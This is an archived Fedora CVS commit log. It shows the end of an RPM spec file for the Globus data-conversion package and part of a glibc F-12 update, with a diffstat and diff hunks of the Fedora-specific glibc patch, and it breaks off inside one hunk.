#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/data_conversion/source globus_data_conversion-2.1
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_data_conversion-2.1
#		tar -zcf globus_data_conversion-2.1.tar.gz globus_data_conversion-2.1
Source:		%{_name}-%{version}.tar.gz
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-core%{?_isa} >= 4

%package devel
Summary:	Globus Toolkit - Data Conversion Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-core%{?_isa} >= 4

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Data Conversion

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Data Conversion Development Files

%prep
%setup -q -n %{_name}-%{version}

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 2.1-1
- Autogenerated


--- NEW FILE import.log ---
globus-data-conversion-2_1-1_fc11:EL-5:globus-data-conversion-2.1-1.fc11.src.rpm:1255953123


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-data-conversion/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:43:20 -0000	1.1
+++ .cvsignore	19 Oct 2009 11:52:33 -0000	1.2
@@ -0,0 +1 @@
+globus_data_conversion-2.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-data-conversion/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:43:21 -0000	1.1
+++ sources	19 Oct 2009 11:52:33 -0000	1.2
@@ -0,0 +1 @@
+95488e1b7276a97b045d7f8a8de26f69  globus_data_conversion-2.1.tar.gz



From schwab at fedoraproject.org  Mon Oct 19 11:52:49 2009
From: schwab at fedoraproject.org (schwab)
Date: Mon, 19 Oct 2009 11:52:49 +0000 (UTC)
Subject: rpms/glibc/F-12 .cvsignore, 1.292, 1.293 glibc-fedora.patch, 1.326, 
	1.327 glibc.spec, 1.419, 1.420 import.log, 1.35, 1.36 sources,
	1.317, 1.318
Message-ID: <20091019115249.0780C11C00DC@cvs1.fedora.phx.redhat.com>

Author: schwab

Update of /cvs/pkgs/rpms/glibc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv733/F-12

Modified Files:
	.cvsignore glibc-fedora.patch glibc.spec import.log sources 
Log Message:
2.10.90-26



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/glibc/F-12/.cvsignore,v
retrieving revision 1.292
retrieving revision 1.293
diff -u -p -r1.292 -r1.293
--- .cvsignore	12 Oct 2009 13:49:37 -0000	1.292
+++ .cvsignore	19 Oct 2009 11:52:47 -0000	1.293
@@ -1,2 +1,2 @@
-glibc-2.10-355-g1abedcd-fedora.tar.bz2
-glibc-2.10-355-g1abedcd.tar.bz2
+glibc-2.10-357-ga0902db-fedora.tar.bz2
+glibc-2.10-357-ga0902db.tar.bz2

glibc-fedora.patch:
 ChangeLog                                      |   34 +-
 ChangeLog.15                                   |   37 ++
 ChangeLog.16                                   |   25 +
 Makeconfig                                     |    6 
 csu/Makefile                                   |    3 
 csu/elf-init.c                                 |   17 +
 debug/tst-chk1.c                               |    7 
 elf/ldconfig.c                                 |   25 +
 elf/tst-stackguard1.c                          |    8 
 include/bits/stdlib-ldbl.h                     |    1 
 include/bits/wchar-ldbl.h                      |    1 
 include/features.h                             |    9 
 intl/locale.alias                              |    2 
 libio/stdio.h                                  |    2 
 locale/iso-4217.def                            |   13 
 locale/programs/locarchive.c                   |   10 
 localedata/Makefile                            |    1 
 localedata/SUPPORTED                           |    6 
 localedata/locales/cy_GB                       |    7 
 localedata/locales/en_GB                       |    4 
 localedata/locales/no_NO                       |   69 ++++
 localedata/locales/zh_TW                       |    6 
 malloc/mcheck.c                                |   30 +-
 manual/libc.texinfo                            |    2 
 misc/sys/cdefs.h                               |   20 +
 nis/nss                                        |    2 
 nptl/ChangeLog                                 |   19 +
 nptl/Makefile                                  |   11 
 nptl/sysdeps/unix/sysv/linux/bits/posix_opt.h  |    3 
 nptl/sysdeps/unix/sysv/linux/kernel-features.h |    6 
 nptl/tst-stackguard1.c                         |    8 
 nscd/nscd.conf                                 |    2 
 nscd/nscd.init                                 |   32 --
 posix/Makefile                                 |   15 -
 posix/getconf.speclist.h                       |   39 ++
 streams/Makefile                               |    2 
 sysdeps/generic/dl-cache.h                     |    8 
 sysdeps/i386/Makefile                          |   10 
 sysdeps/ia64/Makefile                          |    4 
 sysdeps/ia64/ia64libgcc.S                      |  350 -------------------------
 sysdeps/ia64/libgcc-compat.c                   |   84 ++++++
 sysdeps/powerpc/powerpc64/Makefile             |    1 
 sysdeps/unix/nice.c                            |    7 
 sysdeps/unix/sysv/linux/check_pf.c             |    5 
 sysdeps/unix/sysv/linux/dl-osinfo.h            |   29 ++
 sysdeps/unix/sysv/linux/futimesat.c            |   23 -
 sysdeps/unix/sysv/linux/i386/bits/fcntl.h      |    6 
 sysdeps/unix/sysv/linux/i386/clone.S           |    4 
 sysdeps/unix/sysv/linux/i386/dl-cache.h        |   59 ++++
 sysdeps/unix/sysv/linux/ia64/bits/fcntl.h      |    6 
 sysdeps/unix/sysv/linux/ia64/dl-cache.h        |   27 +
 sysdeps/unix/sysv/linux/ia64/dl-procinfo.c     |    5 
 sysdeps/unix/sysv/linux/ia64/dl-procinfo.h     |    5 
 sysdeps/unix/sysv/linux/ia64/ldd-rewrite.sed   |    2 
 sysdeps/unix/sysv/linux/netlinkaccess.h        |   18 +
 sysdeps/unix/sysv/linux/paths.h                |    2 
 sysdeps/unix/sysv/linux/powerpc/bits/fcntl.h   |    6 
 sysdeps/unix/sysv/linux/s390/bits/fcntl.h      |    6 
 sysdeps/unix/sysv/linux/sh/bits/fcntl.h        |    6 
 sysdeps/unix/sysv/linux/sparc/bits/fcntl.h     |    6 
 sysdeps/unix/sysv/linux/tcsetattr.c            |   32 ++
 sysdeps/unix/sysv/linux/x86_64/bits/fcntl.h    |    6 
 sysdeps/unix/sysv/linux/x86_64/clone.S         |    4 
 timezone/zic.c                                 |    2 
 64 files changed, 699 insertions(+), 508 deletions(-)

Index: glibc-fedora.patch
===================================================================
RCS file: /cvs/pkgs/rpms/glibc/F-12/glibc-fedora.patch,v
retrieving revision 1.326
retrieving revision 1.327
diff -u -p -r1.326 -r1.327
--- glibc-fedora.patch	12 Oct 2009 13:49:37 -0000	1.326
+++ glibc-fedora.patch	19 Oct 2009 11:52:47 -0000	1.327
@@ -1,6 +1,6 @@
---- glibc-2.10-355-g1abedcd/ChangeLog
-+++ glibc-2.10.90-24/ChangeLog
-@@ -34,17 +34,6 @@
+--- glibc-2.10-357-ga0902db/ChangeLog
++++ glibc-2.10.90-26/ChangeLog
+@@ -44,17 +44,6 @@
  	* locale/C-time.c: Revert week-1stday back to 19971130 and set
  	first_weekday to 1 and first_workday to 2.
  
@@ -18,7 +18,7 @@
  2009-09-28  Andreas Schwab  <schwab at redhat.com>
  
  	* stdio-common/printf_fp.c: Check for and avoid integer overflows.
-@@ -702,6 +691,11 @@
+@@ -712,6 +701,11 @@
  	* sysdeps/generic/ldsodefs.h (struct rtld_global): The map element in
  	the unique symbol hash table should not be const.
  
@@ -30,7 +30,7 @@
  2009-07-21  Ulrich Drepper  <drepper at redhat.com>
  
  	* sysdeps/x86_64/multiarch/strstr.c: Minor cleanups.  Remove
-@@ -967,6 +961,11 @@
+@@ -977,6 +971,11 @@
  	out common code into new function get_common_indeces. Determine
  	extended family and model for Intel processors.
  
@@ -42,7 +42,7 @@
  2009-06-26  Ulrich Drepper  <drepper at redhat.com>
  
  	* resolv/resolv.h: Define RES_SNGLKUPREOP.
-@@ -9660,6 +9659,10 @@
+@@ -9670,6 +9669,10 @@
  	[BZ #4368]
  	* stdlib/stdlib.h: Remove obsolete part of comment for realpath.
  
@@ -53,7 +53,7 @@
  2007-04-16  Ulrich Drepper  <drepper at redhat.com>
  
  	[BZ #4364]
-@@ -10917,6 +10920,15 @@
+@@ -10927,6 +10930,15 @@
  	separators also if no non-zero digits found.
  	* stdlib/Makefile (tests): Add tst-strtod3.
  
@@ -69,8 +69,8 @@
  2006-12-09  Ulrich Drepper  <drepper at redhat.com>
  
  	[BZ #3632]
---- glibc-2.10-355-g1abedcd/ChangeLog.15
-+++ glibc-2.10.90-24/ChangeLog.15
+--- glibc-2.10-357-ga0902db/ChangeLog.15
++++ glibc-2.10.90-26/ChangeLog.15
 @@ -477,6 +477,14 @@
  
  2004-11-26  Jakub Jelinek  <jakub at redhat.com>
@@ -136,8 +136,8 @@
  2004-08-30  Roland McGrath  <roland at frob.com>
  
  	* scripts/extract-abilist.awk: If `lastversion' variable defined, omit
---- glibc-2.10-355-g1abedcd/ChangeLog.16
-+++ glibc-2.10.90-24/ChangeLog.16
+--- glibc-2.10-357-ga0902db/ChangeLog.16
++++ glibc-2.10.90-26/ChangeLog.16
 @@ -2042,6 +2042,9 @@
  	(__MATHDECL_2): Use __REDIRECT_NTH instead of __REDIRECT
  	followed by __THROW.
@@ -191,8 +191,8 @@
  2005-07-28  Thomas Schwinge  <schwinge at nic-nac-project.de>
  
  	[BZ #1137]
---- glibc-2.10-355-g1abedcd/Makeconfig
-+++ glibc-2.10.90-24/Makeconfig
+--- glibc-2.10-357-ga0902db/Makeconfig
++++ glibc-2.10.90-26/Makeconfig
 @@ -780,12 +780,12 @@ endif
  # The assembler can generate debug information too.
  ifndef ASFLAGS
@@ -209,8 +209,8 @@
  
  ifndef BUILD_CC
  BUILD_CC = $(CC)
---- glibc-2.10-355-g1abedcd/csu/Makefile
-+++ glibc-2.10.90-24/csu/Makefile
+--- glibc-2.10-357-ga0902db/csu/Makefile
++++ glibc-2.10.90-26/csu/Makefile
 @@ -93,7 +93,8 @@ omit-deps += $(crtstuff)
  $(crtstuff:%=$(objpfx)%.o): %.o: %.S $(objpfx)defs.h
  	$(compile.S) -g0 $(ASFLAGS-.os) -o $@
@@ -221,8 +221,8 @@
  
  vpath initfini.c $(sysdirs)
  
---- glibc-2.10-355-g1abedcd/csu/elf-init.c
-+++ glibc-2.10.90-24/csu/elf-init.c
+--- glibc-2.10-357-ga0902db/csu/elf-init.c
++++ glibc-2.10.90-26/csu/elf-init.c
 @@ -63,6 +63,23 @@ extern void (*__init_array_end []) (int, char **, char **)
  extern void (*__fini_array_start []) (void) attribute_hidden;
  extern void (*__fini_array_end []) (void) attribute_hidden;
@@ -247,8 +247,8 @@
  
  /* These function symbols are provided for the .init/.fini section entry
     points automagically by the linker.  */
---- glibc-2.10-355-g1abedcd/debug/tst-chk1.c
-+++ glibc-2.10.90-24/debug/tst-chk1.c
+--- glibc-2.10-357-ga0902db/debug/tst-chk1.c
++++ glibc-2.10.90-26/debug/tst-chk1.c
 @@ -17,6 +17,9 @@
     Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
     02111-1307 USA.  */
@@ -277,8 +277,8 @@
  #  define O 0
  # else
  #  define O 1
---- glibc-2.10-355-g1abedcd/elf/ldconfig.c
-+++ glibc-2.10.90-24/elf/ldconfig.c
+--- glibc-2.10-357-ga0902db/elf/ldconfig.c
++++ glibc-2.10.90-26/elf/ldconfig.c
 @@ -1020,17 +1020,19 @@ search_dirs (void)
  
  
@@ -360,8 +360,8 @@
      }
  
    if (! opt_ignore_aux_cache)
---- glibc-2.10-355-g1abedcd/elf/tst-stackguard1.c
-+++ glibc-2.10.90-24/elf/tst-stackguard1.c
+--- glibc-2.10-357-ga0902db/elf/tst-stackguard1.c
++++ glibc-2.10.90-26/elf/tst-stackguard1.c
 @@ -160,17 +160,21 @@ do_test (void)
       the 16 runs, something is very wrong.  */
    int ndifferences = 0;
@@ -386,16 +386,16 @@
      {
        puts ("stack guard canaries are not randomized enough");
        puts ("nor equal to the default canary value");
---- glibc-2.10-355-g1abedcd/include/bits/stdlib-ldbl.h
-+++ glibc-2.10.90-24/include/bits/stdlib-ldbl.h
+--- glibc-2.10-357-ga0902db/include/bits/stdlib-ldbl.h
++++ glibc-2.10.90-26/include/bits/stdlib-ldbl.h
 @@ -0,0 +1 @@
 +#include <stdlib/bits/stdlib-ldbl.h>
---- glibc-2.10-355-g1abedcd/include/bits/wchar-ldbl.h
-+++ glibc-2.10.90-24/include/bits/wchar-ldbl.h
+--- glibc-2.10-357-ga0902db/include/bits/wchar-ldbl.h
++++ glibc-2.10.90-26/include/bits/wchar-ldbl.h
 @@ -0,0 +1 @@
 +#include <wcsmbs/bits/wchar-ldbl.h>
---- glibc-2.10-355-g1abedcd/include/features.h
-+++ glibc-2.10.90-24/include/features.h
+--- glibc-2.10-357-ga0902db/include/features.h
++++ glibc-2.10.90-26/include/features.h
 @@ -299,8 +299,13 @@
  #endif
  
@@ -412,8 +412,8 @@
  #  define __USE_FORTIFY_LEVEL 2
  # else
  #  define __USE_FORTIFY_LEVEL 1
---- glibc-2.10-355-g1abedcd/intl/locale.alias
-+++ glibc-2.10.90-24/intl/locale.alias
+--- glibc-2.10-357-ga0902db/intl/locale.alias
++++ glibc-2.10.90-26/intl/locale.alias
 @@ -57,8 +57,6 @@ korean		ko_KR.eucKR
  korean.euc 	ko_KR.eucKR
  ko_KR		ko_KR.eucKR
@@ -423,8 +423,8 @@
  norwegian       nb_NO.ISO-8859-1
  nynorsk		nn_NO.ISO-8859-1
  polish          pl_PL.ISO-8859-2
---- glibc-2.10-355-g1abedcd/libio/stdio.h
-+++ glibc-2.10.90-24/libio/stdio.h
+--- glibc-2.10-357-ga0902db/libio/stdio.h
++++ glibc-2.10.90-26/libio/stdio.h
 @@ -145,10 +145,12 @@ typedef _G_fpos64_t fpos64_t;
  extern struct _IO_FILE *stdin;		/* Standard input stream.  */
  extern struct _IO_FILE *stdout;		/* Standard output stream.  */
@@ -438,8 +438,8 @@
  
  __BEGIN_NAMESPACE_STD
  /* Remove file FILENAME.  */
---- glibc-2.10-355-g1abedcd/locale/iso-4217.def
-+++ glibc-2.10.90-24/locale/iso-4217.def
+--- glibc-2.10-357-ga0902db/locale/iso-4217.def
++++ glibc-2.10.90-26/locale/iso-4217.def
 @@ -8,6 +8,7 @@
   *
   * !!! The list has to be sorted !!!
@@ -531,8 +531,8 @@
  DEFINE_INT_CURR("PYG")		/* Paraguay Guarani  */
  DEFINE_INT_CURR("QAR")		/* Qatar Rial  */
  DEFINE_INT_CURR("ROL")		/* Romanian Leu  */
---- glibc-2.10-355-g1abedcd/locale/programs/locarchive.c
-+++ glibc-2.10.90-24/locale/programs/locarchive.c
+--- glibc-2.10-357-ga0902db/locale/programs/locarchive.c
++++ glibc-2.10.90-26/locale/programs/locarchive.c
 @@ -241,9 +241,9 @@ oldlocrecentcmp (const void *a, const void *b)
  /* forward decls for below */
  static uint32_t add_locale (struct locarhandle *ah, const char *name,
@@ -564,8 +564,8 @@
  add_alias (struct locarhandle *ah, const char *alias, bool replace,
  	   const char *oldname, uint32_t *locrec_offset_p)
  {
---- glibc-2.10-355-g1abedcd/localedata/Makefile
-+++ glibc-2.10.90-24/localedata/Makefile
+--- glibc-2.10-357-ga0902db/localedata/Makefile
++++ glibc-2.10.90-26/localedata/Makefile
 @@ -225,6 +225,7 @@ $(INSTALL-SUPPORTED-LOCALES): install-locales-dir
  	echo -n '...'; \
  	input=`echo $$locale | sed 's/\([^.]*\)[^@]*\(.*\)/\1\2/'`; \
@@ -574,8 +574,8 @@
  		     -i locales/$$input -c -f charmaps/$$charset \
  		     $(addprefix --prefix=,$(install_root)) $$locale; \
  	echo ' done'; \
---- glibc-2.10-355-g1abedcd/localedata/SUPPORTED
-+++ glibc-2.10.90-24/localedata/SUPPORTED
+--- glibc-2.10-357-ga0902db/localedata/SUPPORTED
++++ glibc-2.10.90-26/localedata/SUPPORTED
 @@ -84,6 +84,7 @@ cy_GB.UTF-8/UTF-8 \
  cy_GB/ISO-8859-14 \
  da_DK.UTF-8/UTF-8 \
@@ -617,8 +617,8 @@
  ta_IN/UTF-8 \
  te_IN/UTF-8 \
  tg_TJ.UTF-8/UTF-8 \
---- glibc-2.10-355-g1abedcd/localedata/locales/cy_GB
-+++ glibc-2.10.90-24/localedata/locales/cy_GB
+--- glibc-2.10-357-ga0902db/localedata/locales/cy_GB
++++ glibc-2.10.90-26/localedata/locales/cy_GB
 @@ -248,8 +248,11 @@ mon         "<U0049><U006F><U006E><U0061><U0077><U0072>";/
  d_t_fmt     "<U0044><U0079><U0064><U0064><U0020><U0025><U0041><U0020><U0025><U0064><U0020><U006d><U0069><U0073><U0020><U0025><U0042><U0020><U0025><U0059><U0020><U0025><U0054><U0020><U0025><U005A>"
  d_fmt       "<U0025><U0064><U002E><U0025><U006D><U002E><U0025><U0079>"
@@ -633,8 +633,8 @@
  END LC_TIME
  
  LC_MESSAGES
---- glibc-2.10-355-g1abedcd/localedata/locales/en_GB
-+++ glibc-2.10.90-24/localedata/locales/en_GB
+--- glibc-2.10-357-ga0902db/localedata/locales/en_GB
++++ glibc-2.10.90-26/localedata/locales/en_GB
 @@ -116,8 +116,8 @@ mon         "<U004A><U0061><U006E><U0075><U0061><U0072><U0079>";/
  d_t_fmt     "<U0025><U0061><U0020><U0025><U0064><U0020><U0025><U0062><U0020><U0025><U0059><U0020><U0025><U0054><U0020><U0025><U005A>"
  d_fmt       "<U0025><U0064><U002F><U0025><U006D><U002F><U0025><U0079>"
@@ -646,8 +646,8 @@
  date_fmt	"<U0025><U0061><U0020><U0025><U0062><U0020><U0025><U0065>/
  <U0020><U0025><U0048><U003A><U0025><U004D><U003A><U0025><U0053><U0020>/
  <U0025><U005A><U0020><U0025><U0059>"
---- glibc-2.10-355-g1abedcd/localedata/locales/no_NO
-+++ glibc-2.10.90-24/localedata/locales/no_NO
+--- glibc-2.10-357-ga0902db/localedata/locales/no_NO
++++ glibc-2.10.90-26/localedata/locales/no_NO
 @@ -0,0 +1,69 @@
 +escape_char	/
 +comment_char    %
@@ -718,8 +718,8 @@
 +LC_ADDRESS
 +copy "nb_NO"
 +END LC_ADDRESS
---- glibc-2.10-355-g1abedcd/localedata/locales/zh_TW
-+++ glibc-2.10.90-24/localedata/locales/zh_TW
+--- glibc-2.10-357-ga0902db/localedata/locales/zh_TW
++++ glibc-2.10.90-26/localedata/locales/zh_TW
 @@ -1,7 +1,7 @@
  comment_char %
  escape_char /
@@ -747,8 +747,8 @@
  revision   "0.2"
  date       "2000-08-02"
  %
---- glibc-2.10-355-g1abedcd/malloc/mcheck.c
-+++ glibc-2.10.90-24/malloc/mcheck.c
+--- glibc-2.10-357-ga0902db/malloc/mcheck.c
++++ glibc-2.10.90-26/malloc/mcheck.c
 @@ -24,9 +24,25 @@
  # include <mcheck.h>
  # include <stdint.h>
@@ -824,8 +824,8 @@
  
        old_free_hook = __free_hook;
        __free_hook = freehook;
---- glibc-2.10-355-g1abedcd/manual/libc.texinfo
-+++ glibc-2.10.90-24/manual/libc.texinfo
+--- glibc-2.10-357-ga0902db/manual/libc.texinfo
++++ glibc-2.10.90-26/manual/libc.texinfo
 @@ -5,7 +5,7 @@
  @c setchapternewpage odd
  
@@ -835,8 +835,8 @@
  @direntry
  * Libc: (libc).                 C library.
  @end direntry
---- glibc-2.10-355-g1abedcd/misc/sys/cdefs.h
-+++ glibc-2.10.90-24/misc/sys/cdefs.h
+--- glibc-2.10-357-ga0902db/misc/sys/cdefs.h
++++ glibc-2.10.90-26/misc/sys/cdefs.h
 @@ -132,7 +132,10 @@
  #define __bos(ptr) __builtin_object_size (ptr, __USE_FORTIFY_LEVEL > 1)
  #define __bos0(ptr) __builtin_object_size (ptr, 0)
@@ -880,16 +880,16 @@
  # define __va_arg_pack() __builtin_va_arg_pack ()
  # define __va_arg_pack_len() __builtin_va_arg_pack_len ()
  #endif
---- glibc-2.10-355-g1abedcd/nis/nss
-+++ glibc-2.10.90-24/nis/nss
+--- glibc-2.10-357-ga0902db/nis/nss
++++ glibc-2.10.90-26/nis/nss
 @@ -25,4 +25,4 @@
  #  memory with every getXXent() call.  Otherwise each getXXent() call
  #  might result into a network communication with the server to get
  #  the next entry.
 -#SETENT_BATCH_READ=TRUE
 +SETENT_BATCH_READ=TRUE
---- glibc-2.10-355-g1abedcd/nptl/ChangeLog
-+++ glibc-2.10.90-24/nptl/ChangeLog
+--- glibc-2.10-357-ga0902db/nptl/ChangeLog
++++ glibc-2.10.90-26/nptl/ChangeLog
 @@ -3717,6 +3717,15 @@
  	Use __sigfillset.  Document that sigfillset does the right thing wrt
  	to SIGSETXID.
@@ -930,8 +930,8 @@
  2003-07-25  Jakub Jelinek  <jakub at redhat.com>
  
  	* tst-cancel17.c (do_test): Check if aio_cancel failed.
---- glibc-2.10-355-g1abedcd/nptl/Makefile
-+++ glibc-2.10.90-24/nptl/Makefile
+--- glibc-2.10-357-ga0902db/nptl/Makefile
++++ glibc-2.10.90-26/nptl/Makefile
 @@ -339,7 +339,8 @@ endif
  extra-objs += $(crti-objs) $(crtn-objs)
  omit-deps += crti crtn
@@ -964,8 +964,8 @@
  else
  $(addprefix $(objpfx),$(tests) $(test-srcs)): $(objpfx)libpthread.a
  endif
---- glibc-2.10-355-g1abedcd/nptl/sysdeps/unix/sysv/linux/bits/posix_opt.h
-+++ glibc-2.10.90-24/nptl/sysdeps/unix/sysv/linux/bits/posix_opt.h
+--- glibc-2.10-357-ga0902db/nptl/sysdeps/unix/sysv/linux/bits/posix_opt.h
++++ glibc-2.10.90-26/nptl/sysdeps/unix/sysv/linux/bits/posix_opt.h
 @@ -189,4 +189,7 @@
  /* Typed memory objects are not available.  */
  #define _POSIX_TYPED_MEMORY_OBJECTS	-1
@@ -974,8 +974,8 @@
 +#define _XOPEN_STREAMS	-1
 +
  #endif /* bits/posix_opt.h */
---- glibc-2.10-355-g1abedcd/nptl/sysdeps/unix/sysv/linux/kernel-features.h
-+++ glibc-2.10.90-24/nptl/sysdeps/unix/sysv/linux/kernel-features.h
+--- glibc-2.10-357-ga0902db/nptl/sysdeps/unix/sysv/linux/kernel-features.h
++++ glibc-2.10.90-26/nptl/sysdeps/unix/sysv/linux/kernel-features.h
 @@ -0,0 +1,6 @@
 +#include_next <kernel-features.h>
 +
@@ -983,8 +983,8 @@
 +#ifndef __ASSUME_CLONE_THREAD_FLAGS
 +# define __ASSUME_CLONE_THREAD_FLAGS	1
 +#endif
---- glibc-2.10-355-g1abedcd/nptl/tst-stackguard1.c
-+++ glibc-2.10.90-24/nptl/tst-stackguard1.c
+--- glibc-2.10-357-ga0902db/nptl/tst-stackguard1.c
++++ glibc-2.10.90-26/nptl/tst-stackguard1.c
 @@ -190,17 +190,21 @@ do_test (void)
       the 16 runs, something is very wrong.  */
    int ndifferences = 0;
@@ -1009,8 +1009,8 @@
      {
        puts ("stack guard canaries are not randomized enough");
        puts ("nor equal to the default canary value");
---- glibc-2.10-355-g1abedcd/nscd/nscd.conf
-+++ glibc-2.10.90-24/nscd/nscd.conf
+--- glibc-2.10-357-ga0902db/nscd/nscd.conf
++++ glibc-2.10.90-26/nscd/nscd.conf
 @@ -33,7 +33,7 @@
  #	logfile			/var/log/nscd.log
  #	threads			4
@@ -1020,8 +1020,8 @@
  #	stat-user		somebody
  	debug-level		0
  #	reload-count		5
---- glibc-2.10-355-g1abedcd/nscd/nscd.init
-+++ glibc-2.10.90-24/nscd/nscd.init
+--- glibc-2.10-357-ga0902db/nscd/nscd.init
++++ glibc-2.10.90-26/nscd/nscd.init
 @@ -9,6 +9,7 @@
  #		slow naming services like NIS, NIS+, LDAP, or hesiod.
  # processname: /usr/sbin/nscd
@@ -1093,8 +1093,8 @@
  	;;
      *)
  	echo $"Usage: $0 {start|stop|status|restart|reload|condrestart}"
---- glibc-2.10-355-g1abedcd/posix/Makefile
-+++ glibc-2.10.90-24/posix/Makefile
+--- glibc-2.10-357-ga0902db/posix/Makefile
++++ glibc-2.10.90-26/posix/Makefile
 @@ -302,15 +302,8 @@ $(inst_libexecdir)/getconf: $(inst_bindir)/getconf \
  	  mv -f $@/$$spec.new $@/$$spec; \
  	done < $(objpfx)getconf.speclist
@@ -1115,8 +1115,8 @@
 +	  | sed -n -e '/START_OF_STRINGS/,$${/\(POSIX_V[67]\|_XBS5\)_/{s/^[^"]*"//;s/".*$$//;p}}' \
 +	  > $@.new
  	mv -f $@.new $@
---- glibc-2.10-355-g1abedcd/posix/getconf.speclist.h
-+++ glibc-2.10.90-24/posix/getconf.speclist.h
+--- glibc-2.10-357-ga0902db/posix/getconf.speclist.h
++++ glibc-2.10.90-26/posix/getconf.speclist.h
 @@ -0,0 +1,39 @@
 +#include <unistd.h>
 +const char *START_OF_STRINGS =
@@ -1157,8 +1157,8 @@
 +"XBS5_LPBIG_OFFBIG"
 +#endif
 +"";
---- glibc-2.10-355-g1abedcd/streams/Makefile
-+++ glibc-2.10.90-24/streams/Makefile
+--- glibc-2.10-357-ga0902db/streams/Makefile
++++ glibc-2.10.90-26/streams/Makefile
 @@ -21,7 +21,7 @@
  #
  subdir	:= streams
@@ -1168,8 +1168,8 @@
  routines	= isastream getmsg getpmsg putmsg putpmsg fattach fdetach
  
  include ../Rules
---- glibc-2.10-355-g1abedcd/sysdeps/generic/dl-cache.h
-+++ glibc-2.10.90-24/sysdeps/generic/dl-cache.h
+--- glibc-2.10-357-ga0902db/sysdeps/generic/dl-cache.h
++++ glibc-2.10.90-26/sysdeps/generic/dl-cache.h
 @@ -36,6 +36,14 @@
  # define add_system_dir(dir) add_dir (dir)
  #endif
@@ -1185,8 +1185,8 @@
  #define CACHEMAGIC "ld.so-1.7.0"
  
  /* libc5 and glibc 2.0/2.1 use the same format.  For glibc 2.2 another
---- glibc-2.10-355-g1abedcd/sysdeps/i386/Makefile
-+++ glibc-2.10.90-24/sysdeps/i386/Makefile
+--- glibc-2.10-357-ga0902db/sysdeps/i386/Makefile
++++ glibc-2.10.90-26/sysdeps/i386/Makefile
 @@ -2,6 +2,8 @@
  # Every i386 port in use uses gas syntax (I think).
  asm-CPPFLAGS += -DGAS_SYNTAX
@@ -1211,8 +1211,8 @@
  endif
  
  ifeq ($(subdir),elf)
---- glibc-2.10-355-g1abedcd/sysdeps/ia64/Makefile
-+++ glibc-2.10.90-24/sysdeps/ia64/Makefile
+--- glibc-2.10-357-ga0902db/sysdeps/ia64/Makefile
++++ glibc-2.10.90-26/sysdeps/ia64/Makefile
 @@ -12,8 +12,8 @@ elide-routines.os += hp-timing
  
  ifeq (yes,$(build-shared))
@@ -1224,8 +1224,8 @@
